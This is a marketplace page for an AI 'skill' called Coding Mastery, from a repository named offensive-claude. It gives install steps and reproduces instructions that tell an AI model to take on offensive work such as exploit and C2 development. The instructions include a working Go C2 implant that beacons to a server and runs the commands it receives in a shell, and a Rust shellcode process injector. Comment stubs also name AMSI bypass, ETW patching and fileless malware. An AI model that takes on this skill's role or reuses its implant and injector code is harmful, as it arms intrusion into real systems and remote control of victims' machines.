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Coding Mastery

Community
hypnguyen1209
coding-mastery

Use when writing security tooling, exploits, scanners, or C2 in Python/C/Go/Rust/ASM — systems & network programming, automation, cryptography implementation

Overview

Publisherhypnguyen1209
Repositoryoffensive-claude
Skill namecoding-mastery
Stars
396
Forks
71
Bundled files
10
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • 10 bundled files

    Scripts, templates, and references the model can read while it works. Files are read-only and never executed.

  • Open source

    Published by hypnguyen1209 on GitHub. Read the source before you install it.

Installation

Install the Coding Mastery AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
    https://github.com/hypnguyen1209/offensive-claude/tree/main/skills/coding-mastery
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/hypnguyen1209/offensive-claude.git /tmp/offensive-claude
mkdir -p .claude/skills
cp -r /tmp/offensive-claude/skills/coding-mastery .claude/skills/coding-mastery
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Coding Mastery in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Coding Mastery on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Coding Mastery is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Coding Mastery

When to Activate

  • Writing exploit code, PoCs, or security tools
  • Developing automation scripts for pentesting workflows
  • Implementing network protocols or custom C2
  • Building security analysis tools
  • Cryptographic implementation or analysis
  • Performance-critical systems programming

Languages & Use Cases

Python (Primary — Offensive Tooling)

python
# Exploit development with pwntools
from pwn import *
context(arch='amd64', os='linux')

# Network programming
import socket, ssl, struct
import asyncio, aiohttp  # async operations

# Web exploitation
import requests, urllib3
from bs4 import BeautifulSoup

# Crypto
from Crypto.Cipher import AES, DES
from Crypto.PublicKey import RSA
import hashlib, hmac

# Binary analysis
import struct, ctypes
from capstone import *  # disassembly
from unicorn import *   # emulation
from keystone import *  # assembly

C/C++ (Systems & Exploit Dev)

c
// Shellcode development
// Position-independent code, null-free
// Syscall-based (avoid libc dependency)

// Kernel module development
#include <linux/module.h>
#include <linux/kernel.h>

// Windows API abuse
#include <windows.h>
#include <winternl.h>
// Direct syscalls, NTAPI

// Memory manipulation
// Custom allocators, heap spray, ROP gadget finders

Go (Offensive Tooling & C2)

go
// Implant development (cross-compile, static binary)
// C2 communication (HTTP/DNS/named pipes)
// Network scanning and enumeration
// Proxy/tunnel tools (chisel-like)

// Advantages: single binary, cross-platform, fast, good crypto stdlib

Rust (High-Performance Security Tools)

rust
// Memory-safe exploit tooling
// High-performance scanners
// Custom protocol implementations
// Fuzzing harnesses

PowerShell (Windows Post-Exploitation)

powershell
# AMSI bypass, ETW patching
# In-memory execution (reflection)
# AD enumeration and exploitation
# Fileless malware techniques

Assembly (x86/x64/ARM)

nasm
; Shellcode
; ROP gadgets
; Anti-debugging
; Kernel exploitation
; Architecture-specific tricks

Design Patterns for Security Tools

Scanner Architecture

python
import asyncio
from dataclasses import dataclass
from typing import AsyncIterator

@dataclass
class Finding:
    severity: str
    target: str
    vulnerability: str
    evidence: str

class Scanner:
    def __init__(self, targets: list[str], concurrency: int = 50):
        self.targets = targets
        self.semaphore = asyncio.Semaphore(concurrency)
    
    async def scan_target(self, target: str) -> list[Finding]:
        async with self.semaphore:
            # Implement scan logic
            pass
    
    async def run(self) -> AsyncIterator[Finding]:
        tasks = [self.scan_target(t) for t in self.targets]
        for coro in asyncio.as_completed(tasks):
            findings = await coro
            for f in findings:
                yield f

C2 Communication Pattern

python
import base64, json, time, random
from cryptography.fernet import Fernet

class Beacon:
    def __init__(self, server: str, key: bytes, jitter: float = 0.3):
        self.server = server
        self.cipher = Fernet(key)
        self.jitter = jitter
        self.sleep_time = 60
    
    def encrypt(self, data: bytes) -> str:
        return base64.b64encode(self.cipher.encrypt(data)).decode()
    
    def decrypt(self, data: str) -> bytes:
        return self.cipher.decrypt(base64.b64decode(data))
    
    def sleep(self):
        jitter = random.uniform(1 - self.jitter, 1 + self.jitter)
        time.sleep(self.sleep_time * jitter)
    
    def checkin(self) -> dict:
        # POST encrypted system info, receive tasking
        pass

Network Protocol Implementation

python
import struct

class ProtocolParser:
    def __init__(self, data: bytes):
        self.data = data
        self.offset = 0
    
    def read_u8(self) -> int:
        val = struct.unpack_from('B', self.data, self.offset)[0]
        self.offset += 1
        return val
    
    def read_u16(self) -> int:
        val = struct.unpack_from('>H', self.data, self.offset)[0]
        self.offset += 2
        return val
    
    def read_u32(self) -> int:
        val = struct.unpack_from('>I', self.data, self.offset)[0]
        self.offset += 4
        return val
    
    def read_bytes(self, n: int) -> bytes:
        val = self.data[self.offset:self.offset + n]
        self.offset += n
        return val
    
    def read_string(self) -> str:
        length = self.read_u16()
        return self.read_bytes(length).decode()

Cryptography Patterns

python
# AES-GCM (authenticated encryption)
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
import os

key = AESGCM.generate_key(bit_length=256)
aes = AESGCM(key)
nonce = os.urandom(12)
ct = aes.encrypt(nonce, plaintext, associated_data)
pt = aes.decrypt(nonce, ct, associated_data)

# RSA key generation and usage
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes

private_key = rsa.generate_private_key(public_exponent=65537, key_size=4096)
public_key = private_key.public_key()

# Encrypt
ct = public_key.encrypt(plaintext, padding.OAEP(
    mgf=padding.MGF1(algorithm=hashes.SHA256()),
    algorithm=hashes.SHA256(), label=None))

# HMAC for integrity
import hmac, hashlib
mac = hmac.new(key, message, hashlib.sha256).digest()

# Key derivation
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
kdf = PBKDF2HMAC(algorithm=hashes.SHA256(), length=32, salt=salt, iterations=600000)
key = kdf.derive(password)

Advanced: Exploit Development Patterns

Custom Fuzzer Architecture

python
import os, signal, subprocess, struct, random
from multiprocessing import Pool

class CoverageFuzzer:
    def __init__(self, target_binary, corpus_dir, crashes_dir):
        self.target = target_binary
        self.corpus = self._load_corpus(corpus_dir)
        self.crashes_dir = crashes_dir
        self.coverage = set()
    
    def mutate(self, data: bytes) -> bytes:
        mutations = [
            self._bit_flip,
            self._byte_flip,
            self._insert_interesting,
            self._splice,
            self._havoc,
        ]
        mutator = random.choice(mutations)
        return mutator(data)
    
    def _bit_flip(self, data: bytes) -> bytes:
        d = bytearray(data)
        pos = random.randint(0, len(d) * 8 - 1)
        d[pos // 8] ^= (1 << (pos % 8))
        return bytes(d)
    
    def _insert_interesting(self, data: bytes) -> bytes:
        interesting = [0, 1, 0x7f, 0x80, 0xff, 0xffff, 0x7fffffff, 0x80000000, 0xffffffff]
        d = bytearray(data)
        pos = random.randint(0, len(d) - 4)
        val = random.choice(interesting)
        struct.pack_into('<I', d, pos, val & 0xffffffff)
        return bytes(d)
    
    def run_target(self, input_data: bytes) -> tuple:
        """Returns (exit_code, new_coverage)"""
        proc = subprocess.run(
            [self.target], input=input_data, capture_output=True,
            timeout=5, env={**os.environ, 'ASAN_OPTIONS': 'detect_leaks=0'}
        )
        if proc.returncode < 0:  # Signal = crash
            return (proc.returncode, True)
        return (proc.returncode, False)

    def fuzz_loop(self, iterations=100000):
        for i in range(iterations):
            seed = random.choice(self.corpus)
            mutated = self.mutate(seed)
            code, crashed = self.run_target(mutated)
            if crashed:
                crash_path = f"{self.crashes_dir}/crash_{i:06d}"
                open(crash_path, 'wb').write(mutated)

C2 Implant Architecture (Go)

go
package main

import (
    "bytes"
    "crypto/aes"
    "crypto/cipher"
    "crypto/rand"
    "encoding/base64"
    "encoding/json"
    "io"
    "net/http"
    "os/exec"
    "runtime"
    "time"
)

type Beacon struct {
    Server    string
    Key       []byte
    Sleep     time.Duration
    Jitter    float64
    KillDate  time.Time
}

type Task struct {
    ID      string `json:"id"`
    Command string `json:"cmd"`
    Args    string `json:"args"`
}

type Result struct {
    TaskID string `json:"task_id"`
    Output string `json:"output"`
    Error  string `json:"error,omitempty"`
}

func (b *Beacon) Encrypt(data []byte) ([]byte, error) {
    block, _ := aes.NewCipher(b.Key)
    gcm, _ := cipher.NewGCM(block)
    nonce := make([]byte, gcm.NonceSize())
    io.ReadFull(rand.Reader, nonce)
    return gcm.Seal(nonce, nonce, data, nil), nil
}

func (b *Beacon) Decrypt(data []byte) ([]byte, error) {
    block, _ := aes.NewCipher(b.Key)
    gcm, _ := cipher.NewGCM(block)
    nonceSize := gcm.NonceSize()
    return gcm.Open(nil, data[:nonceSize], data[nonceSize:], nil)
}

func (b *Beacon) CheckIn() (*Task, error) {
    sysinfo := map[string]string{
        "os": runtime.GOOS, "arch": runtime.GOARCH,
    }
    body, _ := json.Marshal(sysinfo)
    enc, _ := b.Encrypt(body)
    
    resp, err := http.Post(b.Server+"/api/beacon",
        "application/octet-stream",
        bytes.NewReader(enc))
    if err != nil { return nil, err }
    defer resp.Body.Close()
    
    respBody, _ := io.ReadAll(resp.Body)
    dec, _ := b.Decrypt(respBody)
    var task Task
    json.Unmarshal(dec, &task)
    return &task, nil
}

func (b *Beacon) Execute(task *Task) *Result {
    var cmd *exec.Cmd
    switch runtime.GOOS {
    case "windows":
        cmd = exec.Command("cmd.exe", "/c", task.Args)
    default:
        cmd = exec.Command("/bin/sh", "-c", task.Args)
    }
    output, err := cmd.CombinedOutput()
    result := &Result{TaskID: task.ID, Output: base64.StdEncoding.EncodeToString(output)}
    if err != nil { result.Error = err.Error() }
    return result
}

Network Protocol Fuzzer

python
import socket, struct, random, itertools
from dataclasses import dataclass, field

@dataclass
class ProtocolField:
    name: str
    fmt: str  # struct format
    value: int = 0
    fuzzable: bool = True
    
    @property
    def size(self): return struct.calcsize(self.fmt)
    
    def pack(self): return struct.pack(self.fmt, self.value)
    
    def fuzz(self):
        boundaries = [0, 1, self.max_val - 1, self.max_val, self.max_val // 2]
        return random.choice(boundaries + [random.randint(0, self.max_val)])
    
    @property
    def max_val(self): return (1 << (self.size * 8)) - 1

class ProtocolFuzzer:
    def __init__(self, host, port, fields: list[ProtocolField]):
        self.host, self.port = host, port
        self.fields = fields
    
    def build_packet(self, fuzz_field=None) -> bytes:
        pkt = b''
        for f in self.fields:
            if f.name == fuzz_field and f.fuzzable:
                pkt += struct.pack(f.fmt, f.fuzz())
            else:
                pkt += f.pack()
        return pkt
    
    def send(self, packet: bytes) -> bytes:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(3)
        s.connect((self.host, self.port))
        s.send(packet)
        try: resp = s.recv(4096)
        except: resp = b''
        s.close()
        return resp
    
    def fuzz_all_fields(self, iterations=1000):
        for i in range(iterations):
            field = random.choice([f for f in self.fields if f.fuzzable])
            pkt = self.build_packet(fuzz_field=field.name)
            try:
                resp = self.send(pkt)
                if not resp:
                    print(f"[!] No response fuzzing {field.name} iter {i}")
            except ConnectionRefusedError:
                print(f"[!!!] CRASH fuzzing {field.name} iter {i}")
                open(f"crash_{i}.bin", 'wb').write(pkt)

Windows API Wrapper (Rust — Safe Offensive Tooling)

rust
use std::ptr;
use windows_sys::Win32::System::Memory::*;
use windows_sys::Win32::System::Threading::*;
use windows_sys::Win32::Foundation::*;

pub struct ProcessInjector {
    pid: u32,
    handle: HANDLE,
}

impl ProcessInjector {
    pub fn open(pid: u32) -> Result<Self, u32> {
        let handle = unsafe {
            OpenProcess(PROCESS_ALL_ACCESS, 0, pid)
        };
        if handle == 0 { return Err(unsafe { GetLastError() }); }
        Ok(Self { pid, handle })
    }
    
    pub fn inject(&self, shellcode: &[u8]) -> Result<HANDLE, u32> {
        let base = unsafe {
            VirtualAllocEx(self.handle, ptr::null(), shellcode.len(),
                MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)
        };
        if base.is_null() { return Err(unsafe { GetLastError() }); }
        
        let mut written = 0;
        unsafe {
            WriteProcessMemory(self.handle, base, shellcode.as_ptr() as _,
                shellcode.len(), &mut written);
            
            let mut old = 0u32;
            VirtualProtectEx(self.handle, base, shellcode.len(),
                PAGE_EXECUTE_READ, &mut old);
            
            let thread = CreateRemoteThread(self.handle, ptr::null(),
                0, Some(std::mem::transmute(base)), ptr::null(), 0, ptr::null_mut());
            
            if thread == 0 { return Err(GetLastError()); }
            Ok(thread)
        }
    }
}

impl Drop for ProcessInjector {
    fn drop(&mut self) {
        unsafe { CloseHandle(self.handle); }
    }
}

Async Port Scanner

python
import asyncio, socket, struct
from typing import AsyncIterator

async def scan_port(host: str, port: int, timeout: float = 1.0) -> int | None:
    try:
        _, writer = await asyncio.wait_for(
            asyncio.open_connection(host, port), timeout=timeout)
        writer.close()
        await writer.wait_closed()
        return port
    except (asyncio.TimeoutError, ConnectionRefusedError, OSError):
        return None

async def scan_host(host: str, ports: range, concurrency: int = 500) -> AsyncIterator[int]:
    sem = asyncio.Semaphore(concurrency)
    async def _scan(port):
        async with sem:
            return await scan_port(host, port)
    
    tasks = [asyncio.create_task(_scan(p)) for p in ports]
    for task in asyncio.as_completed(tasks):
        result = await task
        if result:
            yield result

async def service_detect(host: str, port: int) -> str:
    """Grab banner for service identification"""
    try:
        reader, writer = await asyncio.wait_for(
            asyncio.open_connection(host, port), timeout=2.0)
        # Send probe
        writer.write(b'\r\n')
        await writer.drain()
        banner = await asyncio.wait_for(reader.read(1024), timeout=2.0)
        writer.close()
        return banner.decode(errors='ignore').strip()
    except:
        return ""

Bundled files

The model reads these on demand while the skill is loaded. They are exposed as readable files and are never executed.

Frequently asked questions

What does the Coding Mastery AI skill do?

Use when writing security tooling, exploits, scanners, or C2 in Python/C/Go/Rust/ASM — systems & network programming, automation, cryptography implementation

Why use Coding Mastery on TypingMind?

Because you install it once and use it with any model. Coding Mastery is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Coding Mastery in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/hypnguyen1209/offensive-claude/tree/main/skills/coding-mastery. TypingMind reads its SKILL.md and bundles its files and installs it as a skill you can enable per chat.

Which AI models can use Coding Mastery?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Coding Mastery?

As many as you like. As long as a model supports skills, you can use Coding Mastery with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Coding Mastery AI skill free?

Yes. It is published on GitHub by hypnguyen1209 under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

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